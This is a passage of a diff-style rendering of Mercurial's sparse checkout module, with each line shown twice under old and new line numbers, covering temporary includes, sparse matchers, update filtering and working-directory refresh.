228 fh.write(i)
229 fh.write(b'\n')
229 fh.write(b'\n')
230
230
231 if excludes:
231 if excludes:
232 fh.write(b'[exclude]\n')
232 fh.write(b'[exclude]\n')
233 for e in sorted(excludes):
233 for e in sorted(excludes):
234 fh.write(e)
234 fh.write(e)
235 fh.write(b'\n')
235 fh.write(b'\n')
236
236
237 repo._sparsesignaturecache.clear()
237 repo._sparsesignaturecache.clear()
238
238
239
239
240 def readtemporaryincludes(repo):
240 def readtemporaryincludes(repo):
241 raw = repo.vfs.tryread(b'tempsparse')
241 raw = repo.vfs.tryread(b'tempsparse')
242 if not raw:
242 if not raw:
243 return set()
243 return set()
244
244
245 return set(raw.split(b'\n'))
245 return set(raw.split(b'\n'))
246
246
247
247
248 def writetemporaryincludes(repo, includes):
248 def writetemporaryincludes(repo, includes):
249 repo.vfs.write(b'tempsparse', b'\n'.join(sorted(includes)))
249 repo.vfs.write(b'tempsparse', b'\n'.join(sorted(includes)))
250 repo._sparsesignaturecache.clear()
250 repo._sparsesignaturecache.clear()
251
251
252
252
253 def addtemporaryincludes(repo, additional):
253 def addtemporaryincludes(repo, additional):
254 includes = readtemporaryincludes(repo)
254 includes = readtemporaryincludes(repo)
255 for i in additional:
255 for i in additional:
256 includes.add(i)
256 includes.add(i)
257 writetemporaryincludes(repo, includes)
257 writetemporaryincludes(repo, includes)
258
258
259
259
260 def prunetemporaryincludes(repo):
260 def prunetemporaryincludes(repo):
261 if not enabled or not repo.vfs.exists(b'tempsparse'):
261 if not enabled or not repo.vfs.exists(b'tempsparse'):
262 return
262 return
263
263
264 s = repo.status()
264 s = repo.status()
265 if s.modified or s.added or s.removed or s.deleted:
265 if s.modified or s.added or s.removed or s.deleted:
266 # Still have pending changes. Don't bother trying to prune.
266 # Still have pending changes. Don't bother trying to prune.
267 return
267 return
268
268
269 sparsematch = matcher(repo, includetemp=False)
269 sparsematch = matcher(repo, includetemp=False)
270 dirstate = repo.dirstate
270 dirstate = repo.dirstate
271 actions = []
271 actions = []
272 dropped = []
272 dropped = []
273 tempincludes = readtemporaryincludes(repo)
273 tempincludes = readtemporaryincludes(repo)
274 for file in tempincludes:
274 for file in tempincludes:
275 if file in dirstate and not sparsematch(file):
275 if file in dirstate and not sparsematch(file):
276 message = _(b'dropping temporarily included sparse files')
276 message = _(b'dropping temporarily included sparse files')
277 actions.append((file, None, message))
277 actions.append((file, None, message))
278 dropped.append(file)
278 dropped.append(file)
279
279
280 typeactions = mergemod.emptyactions()
280 typeactions = mergemod.emptyactions()
281 typeactions[b'r'] = actions
281 typeactions[b'r'] = actions
282 mergemod.applyupdates(
282 mergemod.applyupdates(
283 repo, typeactions, repo[None], repo[b'.'], False, wantfiledata=False
283 repo, typeactions, repo[None], repo[b'.'], False, wantfiledata=False
284 )
284 )
285
285
286 # Fix dirstate
286 # Fix dirstate
287 for file in dropped:
287 for file in dropped:
288 dirstate.drop(file)
288 dirstate.drop(file)
289
289
290 repo.vfs.unlink(b'tempsparse')
290 repo.vfs.unlink(b'tempsparse')
291 repo._sparsesignaturecache.clear()
291 repo._sparsesignaturecache.clear()
292 msg = _(
292 msg = _(
293 b'cleaned up %d temporarily added file(s) from the '
293 b'cleaned up %d temporarily added file(s) from the '
294 b'sparse checkout\n'
294 b'sparse checkout\n'
295 )
295 )
296 repo.ui.status(msg % len(tempincludes))
296 repo.ui.status(msg % len(tempincludes))
297
297
298
298
299 def forceincludematcher(matcher, includes):
299 def forceincludematcher(matcher, includes):
300 """Returns a matcher that returns true for any of the forced includes
300 """Returns a matcher that returns true for any of the forced includes
301 before testing against the actual matcher."""
301 before testing against the actual matcher."""
302 kindpats = [(b'path', include, b'') for include in includes]
302 kindpats = [(b'path', include, b'') for include in includes]
303 includematcher = matchmod.includematcher(b'', kindpats)
303 includematcher = matchmod.includematcher(b'', kindpats)
304 return matchmod.unionmatcher([includematcher, matcher])
304 return matchmod.unionmatcher([includematcher, matcher])
305
305
306
306
307 def matcher(repo, revs=None, includetemp=True):
307 def matcher(repo, revs=None, includetemp=True):
308 """Obtain a matcher for sparse working directories for the given revs.
308 """Obtain a matcher for sparse working directories for the given revs.
309
309
310 If multiple revisions are specified, the matcher is the union of all
310 If multiple revisions are specified, the matcher is the union of all
311 revs.
311 revs.
312
312
313 ``includetemp`` indicates whether to use the temporary sparse profile.
313 ``includetemp`` indicates whether to use the temporary sparse profile.
314 """
314 """
315 # If sparse isn't enabled, sparse matcher matches everything.
315 # If sparse isn't enabled, sparse matcher matches everything.
316 if not enabled:
316 if not enabled:
317 return matchmod.always()
317 return matchmod.always()
318
318
319 if not revs or revs == [None]:
319 if not revs or revs == [None]:
320 revs = [
320 revs = [
321 repo.changelog.rev(node)
321 repo.changelog.rev(node)
322 for node in repo.dirstate.parents()
322 for node in repo.dirstate.parents()
323 if node != nullid
323 if node != nullid
324 ]
324 ]
325
325
326 signature = configsignature(repo, includetemp=includetemp)
326 signature = configsignature(repo, includetemp=includetemp)
327
327
328 key = b'%s %s' % (signature, b' '.join(map(pycompat.bytestr, revs)))
328 key = b'%s %s' % (signature, b' '.join(map(pycompat.bytestr, revs)))
329
329
330 result = repo._sparsematchercache.get(key)
330 result = repo._sparsematchercache.get(key)
331 if result:
331 if result:
332 return result
332 return result
333
333
334 matchers = []
334 matchers = []
335 for rev in revs:
335 for rev in revs:
336 try:
336 try:
337 includes, excludes, profiles = patternsforrev(repo, rev)
337 includes, excludes, profiles = patternsforrev(repo, rev)
338
338
339 if includes or excludes:
339 if includes or excludes:
340 matcher = matchmod.match(
340 matcher = matchmod.match(
341 repo.root,
341 repo.root,
342 b'',
342 b'',
343 [],
343 [],
344 include=includes,
344 include=includes,
345 exclude=excludes,
345 exclude=excludes,
346 default=b'relpath',
346 default=b'relpath',
347 )
347 )
348 matchers.append(matcher)
348 matchers.append(matcher)
349 except IOError:
349 except IOError:
350 pass
350 pass
351
351
352 if not matchers:
352 if not matchers:
353 result = matchmod.always()
353 result = matchmod.always()
354 elif len(matchers) == 1:
354 elif len(matchers) == 1:
355 result = matchers[0]
355 result = matchers[0]
356 else:
356 else:
357 result = matchmod.unionmatcher(matchers)
357 result = matchmod.unionmatcher(matchers)
358
358
359 if includetemp:
359 if includetemp:
360 tempincludes = readtemporaryincludes(repo)
360 tempincludes = readtemporaryincludes(repo)
361 result = forceincludematcher(result, tempincludes)
361 result = forceincludematcher(result, tempincludes)
362
362
363 repo._sparsematchercache[key] = result
363 repo._sparsematchercache[key] = result
364
364
365 return result
365 return result
366
366
367
367
368 def filterupdatesactions(repo, wctx, mctx, branchmerge, actions):
368 def filterupdatesactions(repo, wctx, mctx, branchmerge, actions):
369 """Filter updates to only lay out files that match the sparse rules."""
369 """Filter updates to only lay out files that match the sparse rules."""
370 if not enabled:
370 if not enabled:
371 return actions
371 return actions
372
372
373 oldrevs = [pctx.rev() for pctx in wctx.parents()]
373 oldrevs = [pctx.rev() for pctx in wctx.parents()]
374 oldsparsematch = matcher(repo, oldrevs)
374 oldsparsematch = matcher(repo, oldrevs)
375
375
376 if oldsparsematch.always():
376 if oldsparsematch.always():
377 return actions
377 return actions
378
378
379 files = set()
379 files = set()
380 prunedactions = {}
380 prunedactions = {}
381
381
382 if branchmerge:
382 if branchmerge:
383 # If we're merging, use the wctx filter, since we're merging into
383 # If we're merging, use the wctx filter, since we're merging into
384 # the wctx.
384 # the wctx.
385 sparsematch = matcher(repo, [wctx.p1().rev()])
385 sparsematch = matcher(repo, [wctx.p1().rev()])
386 else:
386 else:
387 # If we're updating, use the target context's filter, since we're
387 # If we're updating, use the target context's filter, since we're
388 # moving to the target context.
388 # moving to the target context.
389 sparsematch = matcher(repo, [mctx.rev()])
389 sparsematch = matcher(repo, [mctx.rev()])
390
390
391 temporaryfiles = []
391 temporaryfiles = []
392 for file, action in pycompat.iteritems(actions):
392 for file, action in pycompat.iteritems(actions):
393 type, args, msg = action
393 type, args, msg = action
394 files.add(file)
394 files.add(file)
395 if sparsematch(file):
395 if sparsematch(file):
396 prunedactions[file] = action
396 prunedactions[file] = action
397 elif type == b'm':
397 elif type == b'm':
398 temporaryfiles.append(file)
398 temporaryfiles.append(file)
399 prunedactions[file] = action
399 prunedactions[file] = action
400 elif branchmerge:
400 elif branchmerge:
401 if type != b'k':
401 if type != b'k':
402 temporaryfiles.append(file)
402 temporaryfiles.append(file)
403 prunedactions[file] = action
403 prunedactions[file] = action
404 elif type == b'f':
404 elif type == b'f':
405 prunedactions[file] = action
405 prunedactions[file] = action
406 elif file in wctx:
406 elif file in wctx:
407 prunedactions[file] = (b'r', args, msg)
407 prunedactions[file] = (b'r', args, msg)
408
408
409 if branchmerge and type == mergemod.ACTION_MERGE:
409 if branchmerge and type == mergemod.ACTION_MERGE:
410 f1, f2, fa, move, anc = args
410 f1, f2, fa, move, anc = args
411 if not sparsematch(f1):
411 if not sparsematch(f1):
412 temporaryfiles.append(f1)
412 temporaryfiles.append(f1)
413
413
414 if len(temporaryfiles) > 0:
414 if len(temporaryfiles) > 0:
415 repo.ui.status(
415 repo.ui.status(
416 _(
416 _(
417 b'temporarily included %d file(s) in the sparse '
417 b'temporarily included %d file(s) in the sparse '
418 b'checkout for merging\n'
418 b'checkout for merging\n'
419 )
419 )
420 % len(temporaryfiles)
420 % len(temporaryfiles)
421 )
421 )
422 addtemporaryincludes(repo, temporaryfiles)
422 addtemporaryincludes(repo, temporaryfiles)
423
423
424 # Add the new files to the working copy so they can be merged, etc
424 # Add the new files to the working copy so they can be merged, etc
425 actions = []
425 actions = []
426 message = b'temporarily adding to sparse checkout'
426 message = b'temporarily adding to sparse checkout'
427 wctxmanifest = repo[None].manifest()
427 wctxmanifest = repo[None].manifest()
428 for file in temporaryfiles:
428 for file in temporaryfiles:
429 if file in wctxmanifest:
429 if file in wctxmanifest:
430 fctx = repo[None][file]
430 fctx = repo[None][file]
431 actions.append((file, (fctx.flags(), False), message))
431 actions.append((file, (fctx.flags(), False), message))
432
432
433 typeactions = mergemod.emptyactions()
433 typeactions = mergemod.emptyactions()
434 typeactions[b'g'] = actions
434 typeactions[b'g'] = actions
435 mergemod.applyupdates(
435 mergemod.applyupdates(
436 repo, typeactions, repo[None], repo[b'.'], False, wantfiledata=False
436 repo, typeactions, repo[None], repo[b'.'], False, wantfiledata=False
437 )
437 )
438
438
439 dirstate = repo.dirstate
439 dirstate = repo.dirstate
440 for file, flags, msg in actions:
440 for file, flags, msg in actions:
441 dirstate.normal(file)
441 dirstate.normal(file)
442
442
443 profiles = activeconfig(repo)[2]
443 profiles = activeconfig(repo)[2]
444 changedprofiles = profiles & files
444 changedprofiles = profiles & files
445 # If an active profile changed during the update, refresh the checkout.
445 # If an active profile changed during the update, refresh the checkout.
446 # Don't do this during a branch merge, since all incoming changes should
446 # Don't do this during a branch merge, since all incoming changes should
447 # have been handled by the temporary includes above.
447 # have been handled by the temporary includes above.
448 if changedprofiles and not branchmerge:
448 if changedprofiles and not branchmerge:
449 mf = mctx.manifest()
449 mf = mctx.manifest()
450 for file in mf:
450 for file in mf:
451 old = oldsparsematch(file)
451 old = oldsparsematch(file)
452 new = sparsematch(file)
452 new = sparsematch(file)
453 if not old and new:
453 if not old and new:
454 flags = mf.flags(file)
454 flags = mf.flags(file)
455 prunedactions[file] = (b'g', (flags, False), b'')
455 prunedactions[file] = (b'g', (flags, False), b'')
456 elif old and not new:
456 elif old and not new:
457 prunedactions[file] = (b'r', [], b'')
457 prunedactions[file] = (b'r', [], b'')
458
458
459 return prunedactions
459 return prunedactions
460
460
461
461
462 def refreshwdir(repo, origstatus, origsparsematch, force=False):
462 def refreshwdir(repo, origstatus, origsparsematch, force=False):
463 """Refreshes working directory by taking sparse config into account.
463 """Refreshes working directory by taking sparse config into account.
464
464
465 The old status and sparse matcher is compared against the current sparse
465 The old status and sparse matcher is compared against the current sparse
466 matcher.
466 matcher.
467
467
468 Will abort if a file with pending changes is being excluded or included
468 Will abort if a file with pending changes is being excluded or included
469 unless ``force`` is True.
469 unless ``force`` is True.
470 """
470 """
471 # Verify there are no pending changes
471 # Verify there are no pending changes
472 pending = set()
472 pending = set()
473 pending.update(origstatus.modified)
473 pending.update(origstatus.modified)
474 pending.update(origstatus.added)
474 pending.update(origstatus.added)
475 pending.update(origstatus.removed)
475 pending.update(origstatus.removed)
476 sparsematch = matcher(repo)
476 sparsematch = matcher(repo)
477 abort = False
477 abort = False
478
478
479 for f in pending:
479 for f in pending:
480 if not sparsematch(f):
480 if not sparsematch(f):
481 repo.ui.warn(_(b"pending changes to '%s'\n") % f)
481 repo.ui.warn(_(b"pending changes to '%s'\n") % f)
482 abort = not force
482 abort = not force
483
483
484 if abort:
484 if abort:
485 raise error.Abort(
485 raise error.Abort(
486 _(b'could not update sparseness due to pending changes')
486 _(b'could not update sparseness due to pending changes')
487 )
487 )
488
488
489 # Calculate actions
489 # Calculate actions
490 dirstate = repo.dirstate
490 dirstate = repo.dirstate
491 ctx = repo[b'.']
491 ctx = repo[b'.']
492 added = []
492 added = []
493 lookup = []
493 lookup = []
494 dropped = []
494 dropped = []
495 mf = ctx.manifest()
495 mf = ctx.manifest()
496 files = set(mf)
496 files = set(mf)
497
497
498 actions = {}
498 actions = {}
499
499
500 for file in files:
500 for file in files:
501 old = origsparsematch(file)
501 old = origsparsematch(file)
502 new = sparsematch(file)
502 new = sparsematch(file)
503 # Add files that are newly included, or that don't exist in
503 # Add files that are newly included, or that don't exist in
504 # the dirstate yet.
504 # the dirstate yet.
505 if (new and not old) or (old and new and not file in dirstate):
505 if (new and not old) or (old and new and not file in dirstate):
506 fl = mf.flags(file)
506 fl = mf.flags(file)
507 if repo.wvfs.exists(file):
507 if repo.wvfs.exists(file):
508 actions[file] = (b'e', (fl,), b'')
508 actions[file] = (b'e', (fl,), b'')
509 lookup.append(file)
509 lookup.append(file)
510 else:
510 else:
511 actions[file] = (b'g', (fl, False), b'')
511 actions[file] = (b'g', (fl, False), b'')
512 added.append(file)
512 added.append(file)
513 # Drop files that are newly excluded, or that still exist in
513 # Drop files that are newly excluded, or that still exist in
514 # the dirstate.
514 # the dirstate.
515 elif (old and not new) or (not old and not new and file in dirstate):
515 elif (old and not new) or (not old and not new and file in dirstate):
516 dropped.append(file)
516 dropped.append(file)
517 if file not in pending:
517 if file not in pending:
518 actions[file] = (b'r', [], b'')
518 actions[file] = (b'r', [], b'')
519
519
520 # Verify there are no pending changes in newly included files
520 # Verify there are no pending changes in newly included files
521 abort = False
521 abort = False
522 for file in lookup:
522 for file in lookup:
523 repo.ui.warn(_(b"pending changes to '%s'\n") % file)
523 repo.ui.warn(_(b"pending changes to '%s'\n") % file)
524 abort = not force
524 abort = not force
525 if abort:
525 if abort:
526 raise error.Abort(
526 raise error.Abort(
527 _(
527 _(
528 b'cannot change sparseness due to pending '
528 b'cannot change sparseness due to pending '
529 b'changes (delete the files or use '
529 b'changes (delete the files or use '
530 b'--force to bring them back dirty)'
530 b'--force to bring them back dirty)'
531 )
531 )
532 )
532 )
533
533
534 # Check for files that were only in the dirstate.
534 # Check for files that were only in the dirstate.
535 for file, state in pycompat.iteritems(dirstate):
535 for file, state in pycompat.iteritems(dirstate):
536 if not file in files:
536 if not file in files:
537 old = origsparsematch(file)
537 old = origsparsematch(file)
538 new = sparsematch(file)
538 new = sparsematch(file)
539 if old and not new:
539 if old and not new:
540 dropped.append(file)
540 dropped.append(file)
541
541
542 # Apply changes to disk
542 # Apply changes to disk
543 typeactions = mergemod.emptyactions()
543 typeactions = mergemod.emptyactions()
544 for f, (m, args, msg) in pycompat.iteritems(actions):
544 for f, (m, args, msg) in pycompat.iteritems(actions):
545 typeactions[m].append((f, args, msg))
545 typeactions[m].append((f, args, msg))
546
546
547 mergemod.applyupdates(
547 mergemod.applyupdates(
548 repo, typeactions, repo[None], repo[b'.'], False, wantfiledata=False
548 repo, typeactions, repo[None], repo[b'.'], False, wantfiledata=False
549 )
549 )
550
550
551 # Fix dirstate
551 # Fix dirstate
552 for file in added:
552 for file in added:
553 dirstate.normal(file)
553 dirstate.normal(file)
554
554
555 for file in dropped:
555 for file in dropped:
556 dirstate.drop(file)
556 dirstate.drop(file)
557
557
558 for file in lookup:
558 for file in lookup:
559 # File exists on disk, and we're bringing it back in an unknown state.
559 # File exists on disk, and we're bringing it back in an unknown state.
560 dirstate.normallookup(file)
560 dirstate.normallookup(file)
561
561
562 return added, dropped, lookup
562 return added, dropped, lookup
563
563
564
564
565 def aftercommit(repo, node):
565 def aftercommit(repo, node):
566 """Perform actions after a working directory commit."""
566 """Perform actions after a working directory commit."""
567 # This function is called unconditionally, even if sparse isn't
567 # This function is called unconditionally, even if sparse isn't
568 # enabled.
568 # enabled.
569 ctx = repo[node]
569 ctx = repo[node]
570
570
571 profiles = patternsforrev(repo, ctx.rev())[2]
571 profiles = patternsforrev(repo, ctx.rev())[2]
572
572
573 # profiles will only have data if sparse is enabled.
573 # profiles will only have data if sparse is enabled.
574 if profiles & set(ctx.files()):
574 if profiles & set(ctx.files()):
575 origstatus = repo.status()
575 origstatus = repo.status()
576 origsparsematch = matcher(repo)
576 origsparsematch = matcher(repo)
577 refreshwdir(repo, origstatus, origsparsematch, force=True)
577 refreshwdir(repo, origstatus, origsparsematch, force=True)
578
578
579 prunetemporaryincludes(repo)
579 prunetemporaryincludes(repo)
580
580
581
581
582 def _updateconfigandrefreshwdir(
582 def _updateconfigandrefreshwdir(
583 repo, includes, excludes, profiles, force=False, removing=False
583 repo, includes, excludes, profiles, force=False, removing=False
584 ):
584 ):
585 """Update the sparse config and working directory state."""
585 """Update the sparse config and working directory state."""
586 raw = repo.vfs.tryread(b'sparse')
586 raw = repo.vfs.tryread(b'sparse')
587 oldincludes, oldexcludes, oldprofiles = parseconfig(repo.ui, raw, b'sparse')
587 oldincludes, oldexcludes, oldprofiles = parseconfig(repo.ui, raw, b'sparse')
588
588
589 oldstatus = repo.status()
589 oldstatus = repo.status()
590 oldmatch = matcher(repo)
590 oldmatch = matcher(repo)
591 oldrequires = set(repo.requirements)
591 oldrequires = set(repo.requirements)
592
592
593 # TODO remove this try..except once the matcher integrates better
593 # TODO remove this try..except once the matcher integrates better
594 # with dirstate. We currently have to write the updated config
594 # with dirstate. We currently have to write the updated config
595 # because that will invalidate the matcher cache and force a
595 # because that will invalidate the matcher cache and force a
596 # re-read. We ideally want to update the cached matcher on the
596 # re-read. We ideally want to update the cached matcher on the
597 # repo instance then flush the new config to disk once wdir is
597 # repo instance then flush the new config to disk once wdir is
598 # updated. But this requires massive rework to matcher() and its
598 # updated. But this requires massive rework to matcher() and its
599 # consumers.
599 # consumers.
600
600
601 if b'exp-sparse' in oldrequires and removing:
601 if b'exp-sparse' in oldrequires and removing:
602 repo.requirements.discard(b'exp-sparse')
602 repo.requirements.discard(b'exp-sparse')
603 scmutil.writerequires(repo.vfs, repo.requirements)
603 scmutil.writerequires(repo.vfs, repo.requirements)
604 elif b'exp-sparse' not in oldrequires:
604 elif b'exp-sparse' not in oldrequires:
605 repo.requirements.add(b'exp-sparse')
605 repo.requirements.add(b'exp-sparse')
606 scmutil.writerequires(repo.vfs, repo.requirements)
606 scmutil.writerequires(repo.vfs, repo.requirements)
607
607
608 try:
608 try:
609 writeconfig(repo, includes, excludes, profiles)
609 writeconfig(repo, includes, excludes, profiles)
610 return refreshwdir(repo, oldstatus, oldmatch, force=force)
610 return refreshwdir(repo, oldstatus, oldmatch, force=force)
611 except Exception:
611 except Exception:
612 if repo.requirements != oldrequires:
612 if repo.requirements != oldrequires:
613 repo.requirements.clear()
613 repo.requirements.clear()
614 repo.requirements |= oldrequires
614 repo.requirements |= oldrequires
615 scmutil.writerequires(repo.vfs, repo.requirements)
615 scmutil.writerequires(repo.vfs, repo.requirements)
616 writeconfig(repo, oldincludes, oldexcludes, oldprofiles)
616 writeconfig(repo, oldincludes, oldexcludes, oldprofiles)
617 raise
617 raise
618
618
619
619
620 def clearrules(repo, force=False):
620 def clearrules(repo, force=False):
621 """Clears include/exclude rules from the sparse config.
621 """Clears include/exclude rules from the sparse config.
622
622
623 The remaining sparse config only has profiles, if defined. The working
623 The remaining sparse config only has profiles, if defined. The working
624 directory is refreshed, as needed.
624 directory is refreshed, as needed.
625 """
625 """
626 with repo.wlock():
626 with repo.wlock():
627 raw = repo.vfs.tryread(b'sparse')
627 raw = repo.vfs.tryread(b'sparse')
628 includes, excludes, profiles = parseconfig(repo.ui, raw, b'sparse')
628 includes, excludes, profiles = parseconfig(repo.ui, raw, b'sparse')
629
629
630 if not includes and not excludes:
630 if not includes and not excludes:
631 return
631 return
632
632
633 _updateconfigandrefreshwdir(repo, set(), set(), profiles, force=force)
633 _updateconfigandrefreshwdir(repo, set(), set(), profiles, force=force)
634
634
635
635
636 def importfromfiles(repo, opts, paths, force=False):
636 def importfromfiles(repo, opts, paths, force=False):
637 """Import sparse config rules from files.
637 """Import sparse config rules from files.
638
638
639 The updated sparse config is written out and the working directory
639 The updated sparse config is written out and the working directory
640 is refreshed, as needed.
640 is refreshed, as needed.
641 """
641 """
642 with repo.wlock():
642 with repo.wlock():
643 # read current configuration
643 # read current configuration
644 raw = repo.vfs.tryread(b'sparse')
644 raw = repo.vfs.tryread(b'sparse')
645 includes, excludes, profiles = parseconfig(repo.ui, raw, b'sparse')
645 includes, excludes, profiles = parseconfig(repo.ui, raw, b'sparse')
646 aincludes, aexcludes, aprofiles = activeconfig(repo)
646 aincludes, aexcludes, aprofiles = activeconfig(repo)
647
647
648 # Import rules on top; only take in rules that are not yet
648 # Import rules on top; only take in rules that are not yet
649 # part of the active rules.
649 # part of the active rules.
650 changed = False
650 changed = False
651 for p in paths:
651 for p in paths:
652 with util.posixfile(util.expandpath(p), mode=b'rb') as fh:
652 with util.posixfile(util.expandpath(p), mode=b'rb') as fh:
653 raw = fh.read()
653 raw = fh.read()
654
654
655 iincludes, iexcludes, iprofiles = parseconfig(
655 iincludes, iexcludes, iprofiles = parseconfig(
656 repo.ui, raw, b'sparse'
656 repo.ui, raw, b'sparse'
657 )
657 )
658 oldsize = len(includes) + len(excludes) + len(profiles)
658 oldsize = len(includes) + len(excludes) + len(profiles)
659 includes.update(iincludes - aincludes)
659 includes.update(iincludes - aincludes)
660 excludes.update(iexcludes - aexcludes)
660 excludes.update(iexcludes - aexcludes)
661 profiles.update(iprofiles - aprofiles)
661 profiles.update(iprofiles - aprofiles)
662 if len(includes) + len(excludes) + len(profiles) > oldsize:
662 if len(includes) + len(excludes) + len(profiles) > oldsize:
663 changed = True
663 changed = True
664
664
665 profilecount = includecount = excludecount = 0
665 profilecount = includecount = excludecount = 0
666 fcounts = (0, 0, 0)
666 fcounts = (0, 0, 0)
667
667
668 if changed:
668 if changed:
669 profilecount = len(profiles - aprofiles)
669 profilecount = len(profiles - aprofiles)
670 includecount = len(includes - aincludes)
670 includecount = len(includes - aincludes)
671 excludecount = len(excludes - aexcludes)
671 excludecount = len(excludes - aexcludes)
672
672
673 fcounts = map(
673 fcounts = map(
674 len,
674 len,
675 _updateconfigandrefreshwdir(
675 _updateconfigandrefreshwdir(
676 repo, includes, excludes, profiles, force=force
676 repo, includes, excludes, profiles, force=force
677 ),
677 ),
678 )
678 )
679
679
680 printchanges(
680 printchanges(
681 repo.ui, opts, profilecount, includecount, excludecount, *fcounts
681 repo.ui, opts, profilecount, includecount, excludecount, *fcounts
682 )
682 )
683
683
684
684
685 def updateconfig(
685 def updateconfig(
686 repo,
686 repo,
687 pats,
687 pats,
688 opts,
688 opts,
689 include=False,
689 include=False,
690 exclude=False,
690 exclude=False,
691 reset=False,
691 reset=False,
692 delete=False,
692 delete=False,
693 enableprofile=False,
693 enableprofile=False,
694 disableprofile=False,
694 disableprofile=False,
695 force=False,
695 force=False,
696 usereporootpaths=False,
696 usereporootpaths=False,
697 ):
697 ):
698 """Perform a sparse config update.
698 """Perform a sparse config update.
699
699
700 Only one of the actions may be performed.
700 Only one of the actions may be performed.
701
701
702 The new config is written out and a working directory refresh is performed.
702 The new config is written out and a working directory refresh is performed.
703 """
703 """
704 with repo.wlock():
704 with repo.wlock():
705 raw = repo.vfs.tryread(b'sparse')
705 raw = repo.vfs.tryread(b'sparse')
706 oldinclude, oldexclude, oldprofiles = parseconfig(
706 oldinclude, oldexclude, oldprofiles = parseconfig(
707 repo.ui, raw, b'sparse'
707 repo.ui, raw, b'sparse'
708 )
708 )
709
709
710 if reset:
710 if reset:
711 newinclude = set()
711 newinclude = set()
712 newexclude = set()
712 newexclude = set()
713 newprofiles = set()
713 newprofiles = set()
714 else:
714 else:
715 newinclude = set(oldinclude)
715 newinclude = set(oldinclude)
716 newexclude = set(oldexclude)
716 newexclude = set(oldexclude)
717 newprofiles = set(oldprofiles)
717 newprofiles = set(oldprofiles)
718
718
719 if any(os.path.isabs(pat) for pat in pats):
719 if any(os.path.isabs(pat) for pat in pats):
720 raise error.Abort(_(b'paths cannot be absolute'))
720 raise error.Abort(_(b'paths cannot be absolute'))
721
721
722 if not usereporootpaths:
722 if not usereporootpaths:
723 # let's treat paths as relative to cwd
723 # let's treat paths as relative to cwd
724 root, cwd = repo.root, repo.getcwd()
724 root, cwd = repo.root, repo.getcwd()
725 abspats = []
725 abspats = []
726 for kindpat in pats:
726 for kindpat in pats:
727 kind, pat = matchmod._patsplit(kindpat, None)
727 kind, pat = matchmod._patsplit(kindpat, None)
728 if kind in matchmod.cwdrelativepatternkinds or kind is None:
728 if kind in matchmod.cwdrelativepatternkinds or kind is None:
729 ap = (kind + b':' if kind else b'') + pathutil.canonpath(
729 ap = (kind + b':' if kind else b'') + pathutil.canonpath(
730 root, cwd, pat
730 root, cwd, pat
731 )
731 )
732 abspats.append(ap)
732 abspats.append(ap)
733 else:
733 else:
734 abspats.append(kindpat)
734 abspats.append(kindpat)
735 pats = abspats
735 pats = abspats
736
736
737 if include:
737 if include:
738 newinclude.update(pats)
738 newinclude.update(pats)
739 elif exclude:
739 elif exclude:
740 newexclude.update(pats)
740 newexclude.update(pats)
741 elif enableprofile:
741 elif enableprofile:
742 newprofiles.update(pats)
742 newprofiles.update(pats)
743 elif disableprofile:
743 elif disableprofile:
744 newprofiles.difference_update(pats)
744 newprofiles.difference_update(pats)
745 elif delete:
745 elif delete:
746 newinclude.difference_update(pats)
746 newinclude.difference_update(pats)
747 newexclude.difference_update(pats)
747 newexclude.difference_update(pats)
748
748
749 profilecount = len(newprofiles - oldprofiles) - len(
749 profilecount = len(newprofiles - oldprofiles) - len(
750 oldprofiles - newprofiles
750 oldprofiles - newprofiles
751 )
751 )
752 includecount = len(newinclude - oldinclude) - len(
752 includecount = len(newinclude - oldinclude) - len(
753 oldinclude - newinclude
753 oldinclude - newinclude
754 )
754 )
755 excludecount = len(newexclude - oldexclude) - len(
755 excludecount = len(newexclude - oldexclude) - len(
756 oldexclude - newexclude
756 oldexclude - newexclude
757 )
757 )
758
758
759 fcounts = map(
759 fcounts = map(
760 len,
760 len,
761 _updateconfigandrefreshwdir(
761 _updateconfigandrefreshwdir(
762 repo,
762 repo,
763 newinclude,
763 newinclude,
764 newexclude,
764 newexclude,
765 newprofiles,
765 newprofiles,
766 force=force,
766 force=force,
767 removing=reset,
767 removing=reset,
768 ),
768 ),
769 )
769 )
770
770
771 printchanges(
771 printchanges(
772 repo.ui, opts, profilecount, includecount, excludecount, *fcounts
772 repo.ui, opts, profilecount, includecount, excludecount, *fcounts
773 )
773 )
774
774
775
775
776 def printchanges(
776 def printchanges(
777 ui,
777 ui,
778 opts,
778 opts,
779 profilecount=0,
779 profilecount=0,
780 includecount=0,
780 includecount=0,
781 excludecount=0,
781 excludecount=0,
782 added=0,
782 added=0,
783 dropped=0,
783 dropped=0,
784 conflicting=0,
784 conflicting=0,
785 ):
785 ):
786 """Print output summarizing sparse config changes."""
786 """Print output summarizing sparse config changes."""
787 with ui.formatter(b'sparse', opts) as fm:
787 with ui.formatter(b'sparse', opts) as fm:
788 fm.startitem()
788 fm.startitem()
789 fm.condwrite(
789 fm.condwrite(
790 ui.verbose,
790 ui.verbose,
791 b'profiles_added',
791 b'profiles_added',
792 _(b'Profiles changed: %d\n'),
792 _(b'Profiles changed: %d\n'),
793 profilecount,
793 profilecount,
794 )
794 )
795 fm.condwrite(
795 fm.condwrite(
796 ui.verbose,
796 ui.verbose,
797 b'include_rules_added',
797 b'include_rules_added',
798 _(b'Include rules changed: %d\n'),
798 _(b'Include rules changed: %d\n'),
799 includecount,
799 includecount,
800 )
800 )
801 fm.condwrite(
801 fm.condwrite(
802 ui.verbose,
802 ui.verbose,
803 b'exclude_rules_added',
803 b'exclude_rules_added',
804 _(b'Exclude rules changed: %d\n'),
804 _(b'Exclude rules changed: %d\n'),
805 excludecount,
805 excludecount,
806 )
806 )
807
807
808 # In 'plain' verbose mode, mergemod.applyupdates already outputs what
808 # In 'plain' verbose mode, mergemod.applyupdates already outputs what
809 # files are added or removed outside of the templating formatter
809 # files are added or removed outside of the templating formatter
810 # framework. No point in repeating ourselves in that case.
810 # framework. No point in repeating ourselves in that case.
811 if not fm.isplain():
811 if not fm.isplain():
812 fm.condwrite(
812 fm.condwrite(
813 ui.verbose, b'files_added', _(b'Files added: %d\n'), added
813 ui.verbose, b'files_added', _(b'Files added: %d\n'), added
814 )
814 )
815 fm.condwrite(
815 fm.condwrite(
816 ui.verbose, b'files_dropped', _(b'Files dropped: %d\n'), dropped
816 ui.verbose, b'files_dropped', _(b'Files dropped: %d\n'), dropped
817 )
817 )
818 fm.condwrite(
818 fm.condwrite(
819 ui.verbose,
819 ui.verbose,
820 b'files_conflicting',
820 b'files_conflicting',
821 _(b'Files conflicting: %d\n'),
821 _(b'Files conflicting: %d\n'),
822 conflicting,
822 conflicting,
823 )
823 )
@@ -1,730 +1,730
